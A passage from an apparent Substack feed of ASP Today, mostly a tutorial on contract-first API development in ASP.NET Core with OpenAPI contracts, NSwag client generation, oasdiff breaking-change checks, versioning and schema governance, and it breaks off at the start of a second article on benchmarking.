}</code></code></pre><p>The new structure is arguably better.</p><p>Unfortunately, the mobile application still expects:</p><pre><code><code>product.price</code></code></pre><p>That property no longer exists.</p><p>The backend developer improved the design but accidentally broke an existing consumer.</p><p>The problem was not JSON, HTTP, or ASP.NET Core.</p><p>The problem was that the API contract changed without a controlled compatibility process.</p><p>Contract-first development establishes that process before implementation begins.</p><h2>What Is Contract-First API Development?</h2><p>In a traditional code-first workflow, developers implement endpoints and generate documentation from the resulting application.</p><p>The sequence looks like this:</p><pre><code><code>Write endpoint
      &#8595;
Define request and response models
      &#8595;
Generate API description
      &#8595;
Consumers discover the contract</code></code></pre><p>Contract-first development reverses the initial relationship.</p><pre><code><code>Define API contract
      &#8595;
Review and approve contract
      &#8595;
Generate clients and supporting code
      &#8595;
Implement ASP.NET Core endpoints
      &#8595;
Verify implementation against contract
      &#8595;
Publish the approved contract</code></code></pre><p>The API description becomes a shared design artifact.</p><p>Backend developers know what they must implement.</p><p>Frontend developers know what responses to expect.</p><p>Mobile developers can generate typed clients before the server is complete.</p><p>Test engineers can design contract tests against an agreed specification.</p><p>Architecture teams can review naming, security, pagination, and compatibility before implementation decisions become expensive.</p><p>This does not mean developers stop writing code.</p><p>It means the contract becomes the starting point instead of an accidental byproduct of implementation.</p><h2>OpenAPI Provides a Common Language</h2><p>OpenAPI is a widely adopted specification for describing HTTP APIs.</p><p>An OpenAPI document describes elements such as request paths, HTTP methods, parameters, request bodies, response structures, status codes, authentication requirements, and reusable schemas.</p><p>It is commonly written in YAML or JSON.</p><p>For example, our product endpoint might be described as:</p><pre><code><code>openapi: 3.0.3

info:
  title: Product API
  version: 1.0.0

paths:
  /api/products/{id}:
    get:
      operationId: getProductById
      summary: Retrieve a product

      parameters:
        - name: id
          in: path
          required: true
          schema:
            type: integer
            format: int32

      responses:
        '200':
          description: Product found
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Product'

        '404':
          description: Product not found

components:
  schemas:
    Product:
      type: object
      required:
        - id
        - name
        - price

      properties:
        id:
          type: integer
          format: int32

        name:
          type: string

        price:
          type: number
          format: decimal</code></code></pre><p>This example uses OpenAPI 3.0.3. The same contract-first principles also apply to OpenAPI 3.1 and newer versions, although their schema rules and tooling compatibility differ.</p><p>Notice what this document accomplishes.</p><p>Before writing the endpoint, we have established its URL, HTTP method, input parameter, successful response, missing-resource response, and product representation.</p><p>A frontend developer can read this contract without examining ASP.NET Core source code.</p><p>A client generator can use it to produce typed methods.</p><p>A contract test can use it to validate the implemented endpoint.</p><p>Most importantly, the team has something concrete to review before development begins.</p><h2>Designing the Contract Before Writing Code</h2><p>Contract-first development works best when the team treats API design as a deliberate engineering activity. </p><p>In our previous guide on <em><a href="https://www.asptoday.com/p/advanced-api-design-in-aspnet-core">Advanced API Design in ASP.NET Core</a></em>, we explored how consistent API structures, predictable responses, and clear design conventions make integrations easier to maintain. Contract-first development takes those principles further by establishing the agreement before implementation begins.</p><p>Consider an order management API.</p><p>Before implementation, the team should answer several questions.</p><p>What resource does the endpoint represent?</p><p>Should creating an order use <code>POST</code>?</p><p>What information must the caller provide?</p><p>What happens when the order is invalid?</p><p>Which fields are required?</p><p>What response should successful creation return?</p><p>Can clients safely retry the operation?</p><p>How will authentication work?</p><p>How will the API evolve?</p><p>For example:</p><pre><code><code>POST /api/orders</code></code></pre><p>Request:</p><pre><code><code>{
  "customerId": 125,
  "items": [
    {
      "productId": 42,
      "quantity": 2
    }
  ]
}</code></code></pre><p>Successful response:</p><pre><code><code>HTTP/1.1 201 Created
Location: /api/orders/8102</code></code></pre><pre><code><code>{
  "orderId": 8102,
  "status": "pending",
  "total": 179.98
}</code></code></pre><p>The team can agree on these details before the backend and frontend implementations begin.</p><p>This is particularly valuable when different teams work on independent release schedules.</p><h2>Designing Consistent Request and Response Schemas</h2><p>A good contract defines more than property names.</p><p>It establishes expectations about data types, required fields, nullability, validation, and structure.</p><p>Consider:</p><pre><code><code>OrderRequest:
  type: object
  required:
    - customerId
    - items

  properties:
    customerId:
      type: integer
      format: int32

    items:
      type: array
      minItems: 1
      items:
        $ref: '#/components/schemas/OrderItem'

OrderItem:
  type: object
  required:
    - productId
    - quantity

  properties:
    productId:
      type: integer
      format: int32

    quantity:
      type: integer
      minimum: 1</code></code></pre><p>This makes several decisions explicit.</p><p>An order must include a customer identifier.</p><p>The items collection must contain at least one item.</p><p>Each item must identify a product.</p><p>Quantity cannot be less than one.</p><p>Those constraints can inform validation in ASP.NET Core, generated clients, and automated testing.</p><p>However, there is an important distinction.</p><p>Describing a constraint in OpenAPI does not automatically guarantee that every ASP.NET Core endpoint enforces it at runtime.</p><p>The implementation must still validate incoming requests. Contract tests should verify that actual behavior matches the published specification.</p><h2>Implementing an Approved Contract in ASP.NET Core</h2><p>Once the contract is reviewed, the backend team can implement it.</p><p>ASP.NET Core supports generating OpenAPI documents for HTTP endpoints through its OpenAPI integration.</p><p>For a modern Minimal API application, a simplified setup looks like this:</p><pre><code><code>var builder = WebApplication.CreateBuilder(args);

builder.Services.AddOpenApi();

var app = builder.Build();

if (app.Environment.IsDevelopment())
{
    app.MapOpenApi();
}

app.MapGet(
    "/api/products/{id:int}",
    (int id) =&gt;
    {
        if (id != 42)
        {
            return Results.NotFound();
        }

        return Results.Ok(new ProductResponse(
            42,
            "Wireless Headphones",
            89.99m));
    })
    .WithName("getProductById")
    .Produces&lt;ProductResponse&gt;(StatusCodes.Status200OK)
    .Produces(StatusCodes.Status404NotFound);

app.Run();

public record ProductResponse(
    int Id,
    string Name,
    decimal Price);</code></code></pre><p>The <code>AddOpenApi()</code> method registers OpenAPI document generation services, while <code>MapOpenApi()</code> exposes the generated document endpoint.</p><p>For this example, the project must reference the appropriate <code>Microsoft.AspNetCore.OpenApi</code> package.</p><p>The generated document can then be compared with the approved contract.</p><p>This is a critical distinction.</p><p>ASP.NET Core&#8217;s generated OpenAPI document describes the implemented application. It does not automatically prove that the implementation conforms to an independently authored contract.</p><p>A contract-first pipeline must explicitly compare the two or test runtime behavior against the approved specification.</p><p>For implementation details, see the official ASP.NET Core OpenAPI documentation.</p><h2>OpenAPI Generation Is Not Contract Governance</h2><p>Generating an OpenAPI document is useful, but it is not the same as governing an API contract.</p><p>Imagine that a developer changes:</p><pre><code><code>public record ProductResponse(
    int Id,
    string Name,
    decimal Price);</code></code></pre><p>to:</p><pre><code><code>public record ProductResponse(
    int Id,
    string Name,
    decimal Amount);</code></code></pre><p>ASP.NET Core may generate a perfectly valid updated OpenAPI document.</p><p>But the generated document now describes a different response.</p><p>Existing consumers expecting <code>price</code> may break.</p><p>Nothing about successful document generation guarantees backward compatibility.</p><p>A governed contract-first workflow asks a different question:</p><blockquote><p>Does the new implementation still satisfy the API agreement that consumers rely upon?</p></blockquote><p>That question requires comparison, review, and testing.</p><h2>Client Generation Removes Repetitive Integration Work</h2><p>One of the biggest practical benefits of OpenAPI is client generation.</p><p>Without generated clients, frontend developers often write HTTP integration code manually.</p><p>For example:</p><pre><code><code>async function getProduct(id) {
  const response = await fetch(`/api/products/${id}`);

  if (!response.ok) {
    throw new Error("Request failed");
  }

  return await response.json();
}</code></code></pre><p>This is manageable for one endpoint. </p><p>But imagine an application with 150 endpoints. </p><p>Every consumer must manage URLs, HTTP methods, serialization, authentication, response types, and errors. </p><p>Duplicated integration code becomes a maintenance problem. </p><p>OpenAPI-based generators can produce clients in languages such as C#, TypeScript, Java, and others. </p><p>Tools commonly used for this include NSwag, OpenAPI Generator, and Kiota, depending on the target ecosystem and API design. </p><h2>Generating a C# Client With NSwag</h2><p>Suppose our approved contract is stored at: </p><pre><code><code>contracts/product-api.yaml</code></code></pre><p>A development team can use NSwag to generate a C# client. </p><p>For example, after installing the appropriate NSwag CLI: </p><pre><code><code>nswag openapi2csclient \
  /input:contracts/product-api.yaml \
  /classname:ProductApiClient \
  /namespace:Company.ProductApi.Client \
  /output:Generated/ProductApiClient.cs</code></code></pre><p>The generated client can expose typed methods and response models based on the contract. </p><p>Instead of constructing raw HTTP requests throughout the application, consumers work through a consistent client abstraction. </p><p>This can reduce manual serialization code, improve discoverability, and make contract changes easier to identify during compilation. </p><p>Generated code is not a replacement for testing, however. </p><p>A generated client can accurately implement a contract that the server fails to honor. </p><p>Both sides still need validation. </p><h2>Why Operation IDs Matter</h2><p>Consider this OpenAPI operation: </p><pre><code><code>operationId: getProductById</code></code></pre><p>The operation ID gives the endpoint a stable logical identity. </p><p>Client generators frequently use operation IDs to derive method names. </p><p>For example: </p><pre><code><code>await client.GetProductByIdAsync(42);</code></code></pre><p>Without deliberate operation IDs, generated method names may depend on generator-specific naming conventions. </p><p>That can produce awkward or unstable client APIs. </p><p>Imagine a developer changing an endpoint summary or route and unexpectedly triggering a generated method rename. </p><p>A stable operation ID helps reduce that risk. </p><p>For contract-first development, operation IDs should be treated as part of the client-facing design. </p><h2>Generated Clients Should Be Reproducible</h2><p>A reliable development process does not depend on one developer manually generating client code on their laptop. </p><p>Client generation should be repeatable. </p><p>For example: </p><pre><code><code>Approved OpenAPI contract
          &#8595;
Pinned generator version
          &#8595;
Client generation
          &#8595;
Compile generated clients
          &#8595;
Run integration tests
          &#8595;
Publish client package</code></code></pre><p>The generator version matters. </p><p>Different versions may produce different naming conventions, serialization behavior, or generated structures. </p><p>Pinning versions makes builds more predictable. </p><p>Teams should also avoid manually editing generated files. </p><p>Those changes will usually disappear the next time the client is regenerated. </p><p>Custom behavior belongs in supported extension points, wrappers, partial classes where available, or separately maintained application code. </p><h2>Contract-First Development Enables Parallel Work</h2><p>Imagine a team developing a new subscription feature. </p><p>The backend team needs to implement billing rules. </p><p>The frontend team needs to build the subscription management interface. </p><p>The mobile team needs to display subscription status. </p><p>Without an agreed contract, everyone waits for the backend implementation. </p><p>With contract-first development, the teams can agree on: </p><pre><code><code>GET /api/subscriptions/{id}</code></code></pre><p>Response:</p><pre><code><code>{
  "subscriptionId": 205,
  "plan": "premium",
  "status": "active",
  "renewalDate": "2026-12-01"
}</code></code></pre><p>The frontend team can generate its client and develop against mock responses. </p><p>The mobile team can do the same. </p><p>The backend team can implement the actual endpoint independently. </p><p>Once implementation is complete, integration testing confirms whether the service satisfies the shared contract. </p><p>This reduces unnecessary coordination and makes parallel delivery more practical. </p><h2>Mock Servers Help Consumers Start Early</h2><p>An OpenAPI contract can also support mock server generation. </p><p>A mock server returns responses based on the contract without requiring the real business logic or database. </p><p>For example:</p><pre><code><code>Frontend application
         &#8595;
Generated API client
         &#8595;
Mock server
         &#8595;
Example responses</code></code></pre><p>This is especially useful when backend implementation is still underway.</p><p>However, mock servers have limitations.</p><p>A schema-valid response does not necessarily reproduce real business behavior.</p><p>For example, a mock server may return an active subscription without modeling expiration, payment failures, or cancellation.</p><p>Mocks accelerate development.</p><p>They do not replace end-to-end integration testing.</p><h2>Schema Governance Prevents Accidental API Drift</h2><p>As organizations grow, API contracts need ownership.</p><p>Without governance, different teams make inconsistent decisions.</p><p>One service uses:</p><pre><code><code>{
  "customerId": 100
}</code></code></pre><p>Another uses:</p><pre><code><code>{
  "customer_id": 100
}</code></code></pre><p>A third uses:</p><pre><code><code>{
  "customerID": 100
}</code></code></pre><p>All three can work.</p><p>But inconsistency makes integration harder.</p><p>Schema governance establishes shared expectations.</p><p>These might include naming conventions, error responses, authentication descriptions, pagination patterns, versioning policies, operation IDs, and deprecation procedures.</p><p>The goal is not bureaucracy.</p><p>The goal is to make API behavior predictable across teams.</p><h2>Establish an API Style Guide</h2><p>A practical API style guide should answer common design questions.</p><p>For example, the organization may decide that JSON properties use camelCase.</p><p>Collection endpoints use a consistent pagination structure.</p><p>Errors use a common response format.</p><p>Resource identifiers use consistent naming.</p><p>Successful resource creation returns HTTP 201 where appropriate.</p><p>Authentication requirements are documented in the contract.</p><p>Every operation has a stable operation ID.</p><p>These conventions reduce repeated debates and help generated clients behave consistently.</p><p>A good style guide should remain small enough that developers can actually follow it.</p><h2>Use Standard Error Responses</h2><p>Error handling is a common source of API inconsistency.</p><p>One endpoint returns:</p><pre><code><code>{
  "error": "Invalid order"
}</code></code></pre><p>Another returns:</p><pre><code><code>{
  "message": "Order validation failed",
  "code": 400
}</code></code></pre><p>A third returns a plain string.</p><p>Consumers now need several error-handling strategies.</p><p>ASP.NET Core supports standardized problem details responses based on RFC 7807 and related specifications.</p><p>A response might look like:</p><pre><code><code>{
  "type": "https://example.com/problems/validation",
  "title": "Validation failed",
  "status": 400,
  "detail": "Quantity must be greater than zero."
}</code></code></pre><p>Contract-first teams can define consistent error schemas and document which status codes each operation returns.</p><p>That improves both client generation and error-handling predictability.</p><h2>Breaking Changes Are the Biggest Governance Challenge</h2><p>Consider the original response:</p><pre><code><code>{
  "id": 42,
  "name": "Wireless Headphones",
  "price": 89.99
}</code></code></pre><p>Now imagine the backend changes it to:</p><pre><code><code>{
  "id": 42,
  "name": "Wireless Headphones",
  "amount": 89.99
}</code></code></pre><p>The response is still valid JSON.</p><p>The endpoint still returns HTTP 200.</p><p>Unit tests may still pass.</p><p>But existing consumers may fail because the expected <code>price</code> property disappeared.</p><p>This is a breaking change.</p><p>Other common breaking changes include removing endpoints, changing HTTP methods, introducing new required request fields, changing property types, tightening accepted input values, or changing authentication requirements.</p><p>A contract-first workflow must detect these changes before deployment.</p><h2>Not Every Schema Change Is Backward-Compatible</h2><p>Adding an optional response property is often compatible with clients that ignore unknown fields.</p><p>But not every consumer behaves that way.</p><p>Some clients use strict deserialization or exhaustive schema validation.</p><p>Similarly, adding a new enum value can break consumers that assume the list of possible values never changes.</p><p>Consider:</p><pre><code><code>{
  "status": "pending"
}</code></code></pre><p>A client may expect only:</p><pre><code><code>pending
completed
cancelled</code></code></pre><p>Later, the server introduces:</p><pre><code><code>partially_fulfilled</code></code></pre><p>The schema change may appear additive, but some generated clients or application logic may not handle the new value correctly.</p><p>Compatibility depends on both the contract and the behavior of existing consumers.</p><p>This is why governance needs explicit compatibility rules rather than simplistic assumptions.</p><h2>Automate Breaking-Change Detection</h2><p>Manual review is important, but automated checks make the process repeatable.</p><p>A useful pipeline looks like this:</p><pre><code><code>Developer proposes contract change
              &#8595;
Validate OpenAPI syntax
              &#8595;
Run API style checks
              &#8595;
Compare with released contract
              &#8595;
Detect potential breaking changes
              &#8595;
Review and approve
              &#8595;
Generate clients
              &#8595;
Implement and test</code></code></pre><p>Tools such as <code>oasdiff</code> can compare OpenAPI documents and identify many classes of breaking changes.</p><p>For example:</p><pre><code><code>oasdiff breaking \
  contracts/released.yaml \
  contracts/proposed.yaml</code></code></pre><p>A CI pipeline can fail when a prohibited change is detected.</p><p>However, schema comparison tools cannot prove every aspect of behavioral compatibility.</p><p>They may not detect changes to business rules, sorting behavior, side effects, or undocumented assumptions.</p><p>Automated comparison is a safeguard, not a complete replacement for contract testing and review.</p><h2>Contract Testing Verifies Real Behavior</h2><p>A published OpenAPI document may describe:</p><pre><code><code>GET /api/products/42</code></code></pre><p>as returning:</p><pre><code><code>200 OK</code></code></pre><p>with a particular JSON schema.</p><p>But what if the implementation actually returns a different structure?</p><p>The document is valid.</p><p>The implementation compiles.</p><p>The generated client compiles.</p><p>Yet the contract is violated.</p><p>Contract testing closes this gap.</p><p>A test sends requests to the running API and verifies that responses satisfy the approved specification.</p><p>For example, tests can verify that successful responses include required fields, that property types match the schema, that documented status codes are used, and that invalid requests are rejected appropriately.</p><p>Some teams also use consumer-driven contract testing, where consumers publish the expectations they rely on and providers verify those expectations.</p><p>The central principle remains the same.</p><p>The contract must describe what the API actually does, not merely what developers intended it to do.</p><h2>Versioning Is a Compatibility Strategy</h2><p>Eventually, some breaking changes are unavoidable.</p><p>Perhaps a product API must adopt a new pricing model.</p><p>The old response is:</p><pre><code><code>{
  "price": 89.99
}</code></code></pre><p>The new response is:</p><pre><code><code>{
  "pricing": {
    "amount": 89.99,
    "currency": "USD"
  }
}</code></code></pre><p>One strategy is to introduce a new API version.</p><p>For example:</p><pre><code><code>GET /api/v1/products/42</code></code></pre><p>and:</p><pre><code><code>GET /api/v2/products/42</code></code></pre><p>Existing clients continue using version 1 while newer clients adopt version 2.</p><p>But versioning should not become an excuse to introduce unnecessary breaking changes.</p><p>Maintaining multiple versions increases testing, documentation, security, and operational costs.</p><p>The preferred approach is to evolve contracts compatibly whenever practical and introduce new versions when a genuinely incompatible change is required.</p><h2>Deprecation Must Be Managed Deliberately</h2><p>Publishing version 2 does not automatically mean version 1 can disappear.</p><p>Mobile applications may remain installed for years.</p><p>External partners may upgrade slowly.</p><p>Enterprise customers may follow fixed release schedules.</p><p>A responsible deprecation process communicates which API versions are affected, what consumers need to change, when support will end, and how migrations should proceed.</p><p>The organization should also measure actual usage of older versions.</p><p>Removing an API because a deadline passed is risky if critical consumers are still using it.</p><p>Good governance combines policy with operational evidence.</p><h2>Security Requirements Belong in the Contract</h2><p>API contracts should document authentication requirements.</p><p>For example, an OpenAPI document can describe bearer-token authentication:</p><pre><code><code>components:
  securitySchemes:
    bearerAuth:
      type: http
      scheme: bearer
      bearerFormat: JWT

security:
  - bearerAuth: []</code></code></pre><p>This helps client generators and documentation tools understand how callers authenticate.</p><p>However, describing security in OpenAPI does not enforce it.</p><p>ASP.NET Core must still implement authentication and authorization correctly.</p><p>A contract may say that an endpoint requires a bearer token, but only the application&#8217;s middleware, endpoint policies, and supporting infrastructure can enforce that requirement.</p><p>Security documentation and runtime security must remain aligned.</p><h2>Governance Should Not Slow Every Small Change</h2><p>One concern with contract-first development is that it can become overly bureaucratic.</p><p>Imagine requiring an architecture committee meeting whenever a developer adds an optional response field.</p><p>That would quickly make developers avoid the process.</p><p>A better approach uses automation for routine checks.</p><p>Syntax validation runs automatically.</p><p>Style rules run automatically.</p><p>Breaking-change detection runs automatically.</p><p>Client generation runs automatically.</p><p>Human review focuses on meaningful design decisions and exceptions.</p><p>The process should become stricter as the risk increases, not simply as the number of endpoints grows.</p><h2>Organizing Contracts Across Multiple Teams</h2><p>In a larger organization, API contracts need a predictable home.</p><p>A repository might contain:</p><pre><code><code>api-contracts/
&#9474;
&#9500;&#9472;&#9472; catalog/
&#9474;   &#9500;&#9472;&#9472; v1/
&#9474;   &#9474;   &#9492;&#9472;&#9472; openapi.yaml
&#9474;   &#9492;&#9472;&#9472; v2/
&#9474;       &#9492;&#9472;&#9472; openapi.yaml
&#9474;
&#9500;&#9472;&#9472; orders/
&#9474;   &#9492;&#9472;&#9472; v1/
&#9474;       &#9492;&#9472;&#9472; openapi.yaml
&#9474;
&#9492;&#9472;&#9472; payments/
    &#9492;&#9472;&#9472; v1/
        &#9492;&#9472;&#9472; openapi.yaml</code></code></pre><p>This structure makes contract ownership and version history visible.</p><p>However, a single central repository is not mandatory.</p><p>Some organizations keep contracts alongside their services and publish approved versions to an API registry or artifact repository.</p><p>Either model can work.</p><p>What matters is that consumers can identify the authoritative contract version and retrieve it reliably.</p><h2>Contract Ownership Is as Important as Contract Storage</h2><p>A contract without an owner becomes difficult to evolve.</p><p>Who approves breaking changes?</p><p>Who reviews security requirements?</p><p>Who decides when an old version can be retired?</p><p>Who maintains generated client packages?</p><p>Who investigates mismatches between the specification and implementation?</p><p>These responsibilities should be explicit.</p><p>For example, a service team may own its API contract while a platform team maintains shared linting rules and CI templates.</p><p>That arrangement balances team autonomy with organization-wide consistency.</p><h2>Treat Contracts as Versioned Artifacts</h2><p>An API contract should not exist only as an editable document on a shared drive.</p><p>Approved contracts should have version history.</p><p>A consumer should be able to identify which contract version its generated client came from.</p><p>A deployment pipeline should know which contract version the service claims to implement.</p><p>A breaking-change check should compare proposed changes with an appropriate released baseline.</p><p>This creates traceability between API design, implementation, generated clients, and deployed behavior.</p><h2>Integrating Contract Checks Into CI/CD</h2><p>A practical contract-first CI pipeline might follow this sequence:</p><pre><code><code>OpenAPI change submitted
           &#8595;
Validate document
           &#8595;
Apply style rules
           &#8595;
Compare against released contract
           &#8595;
Review compatibility
           &#8595;
Generate clients
           &#8595;
Compile generated clients
           &#8595;
Run implementation tests
           &#8595;
Run contract tests
           &#8595;
Publish approved artifacts</code></code></pre><p>Not every project needs all these stages immediately.</p><p>In our earlier article on <em><a href="https://www.asptoday.com/p/utilizing-azure-devops-for-cicd-in">CI/CD Pipelines with Azure DevOps for ASP.NET Core</a></em>, we examined how automated build, testing, and deployment workflows improve release reliability. Adding OpenAPI validation, breaking-change detection, and contract testing extends those safeguards to the APIs that other applications depend on.</p><p>A small team can begin with OpenAPI validation, breaking-change detection, and one integration test suite.</p><p>As the number of consumers increases, client generation, artifact publishing, and compatibility policies become more valuable.</p><p>The important thing is to make the process repeatable.</p><h2>A Real-World Example: An Order Management Platform</h2><p>Consider an ASP.NET Core platform with three services.</p><p>The Catalog API provides product information.</p><p>The Orders API creates and tracks purchases.</p><p>The Payments API processes payments.</p><p>The website, mobile application, and partner integrations consume these services.</p><p>Without contract-first development, each team may independently interpret request and response structures.</p><p>An Orders developer changes a field.</p><p>The website adapts immediately.</p><p>The mobile team discovers the change after its next release.</p><p>A partner integration breaks in production.</p><p>Now consider the contract-first approach.</p><p>The Orders team proposes a schema change in a pull request.</p><p>Automated checks identify that an existing response property is being removed.</p><p>The team decides to preserve the original property temporarily while introducing the new structure.</p><p>Generated clients are updated against the approved contract.</p><p>Integration tests verify that the implementation supports the documented responses.</p><p>Consumers migrate at their own pace.</p><p>The old property is removed only through an agreed deprecation or versioning process.</p><p>The technical change is still necessary.</p><p>But its consequences are managed rather than discovered accidentally.</p><h2>Common Contract-First API Mistakes</h2><p>The first mistake is assuming that generating OpenAPI documentation automatically makes an API contract-first.</p><p>It does not. A generated specification is useful, but contract-first development requires the contract to guide implementation and undergo compatibility checks.</p><p>Another mistake is treating every schema-valid change as backward-compatible. Client behavior, strict validation, and business assumptions can still create breaking changes.</p><p>Some teams generate clients but never test them against the actual service. That creates confidence in code generation without verifying runtime compatibility.</p><p>Others allow developers to manually edit generated clients, creating changes that disappear during regeneration.</p><p>Another common problem is creating a governance process that requires excessive approval for routine changes.</p><p>Finally, teams sometimes publish contracts without assigning ownership or establishing deprecation policies.</p><p>The solution is not more documentation.</p><p>It is a small, enforceable process connecting design, implementation, testing, and release.</p><h2>Contract-First Development Is About Predictability</h2><p>The greatest benefit of contract-first development is not YAML.</p><p>It is predictability.</p><p>Backend developers know what they are implementing.</p><p>Frontend developers know what they can rely on.</p><p>Generated clients reduce repetitive integration work.</p><p>Contract tests expose mismatches.</p><p>Schema comparisons identify risky changes.</p><p>Governance makes API evolution deliberate.</p><p>For a single application with one backend and one frontend, some of these practices may seem unnecessary.</p><p>But as teams, services, devices, and external integrations multiply, the cost of unmanaged API changes rises quickly.</p><p>Contract-first development helps prevent that cost from becoming a permanent source of production failures and coordination overhead.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore Building Asynchronous APIs in ASP.NET Core: Long-Running Operations and the 202 Accepted Pattern.</p><p>Not every operation can finish within a normal HTTP request.</p><p>Some jobs take seconds, minutes, or even hours.</p><p>We&#8217;ll examine how to accept work without keeping clients waiting, return HTTP 202 Accepted, expose operation-status endpoints, handle background processing safely, and design reliable APIs for long-running operations.</p><h2>Closing Thoughts</h2><p>An API contract is a promise.</p><p>It tells consumers which operations exist, what information they must provide, what responses they can expect, and how failures are represented.</p><p>When that promise changes unexpectedly, even a technically correct backend deployment can break the applications that depend on it.</p><p>Contract-first API development makes the promise explicit before implementation begins.</p><p>OpenAPI provides a common description format.</p><p>Client generation turns that description into usable integration code.</p><p>Contract testing verifies that implementations honor the agreement.</p><p>Schema governance helps teams detect breaking changes, enforce consistency, and manage API evolution responsibly.</p><p>The objective is not to make API development slower or more formal than necessary.</p><p>It is to make change safer.</p><p>A well-designed API is not simply one that works today. It is one that consumers can continue trusting as the system evolves.</p><h2>Subscribe Now</h2><p>Enjoying the series? <em><a href="https://www.asptoday.com/">Subscribe to ASP Today</a></em> for practical ASP.NET Core tutorials, production architecture guidance, and advanced API engineering strategies. Join our Substack Chat to discuss OpenAPI, contract-first development, client generation, schema governance, API compatibility, and building dependable integrations across modern .NET applications. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Benchmarking ASP.NET Core Applications: BenchmarkDotNet, Load Testing, and Finding Real Bottlenecks]]></title><description><![CDATA[Measure real ASP.NET Core performance with benchmarks, load tests, and bottleneck analysis. #ASPToday #aspnetcore #dotnet #performance]]></description><link>https://www.asptoday.com/p/benchmarking-aspnet-core-applications</link><guid isPermaLink="false">https://www.asptoday.com/p/benchmarking-aspnet-core-applications</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 06 Oct 2026 15:01:41 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!x94P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Performance optimization without measurement is mostly guesswork. A method may look expensive but account for almost none of your application&#8217;s total response time. A clever optimization may make a benchmark 40 percent faster while having no measurable effect on production. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!x94P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!x94P!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!x94P!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!x94P!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!x94P!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!x94P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2772620,&quot;alt&quot;:&quot;Aircraft undergoes wind tunnel testing as engineers measure performance under extreme conditions. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/218735157?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Aircraft undergoes wind tunnel testing as engineers measure performance under extreme conditions. " title="Aircraft undergoes wind tunnel testing as engineers measure performance under extreme conditions. " srcset="https://substackcdn.com/image/fetch/$s_!x94P!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!x94P!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!x94P!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!x94P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6649cb8-1e49-4433-adae-99105c45b73f_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" 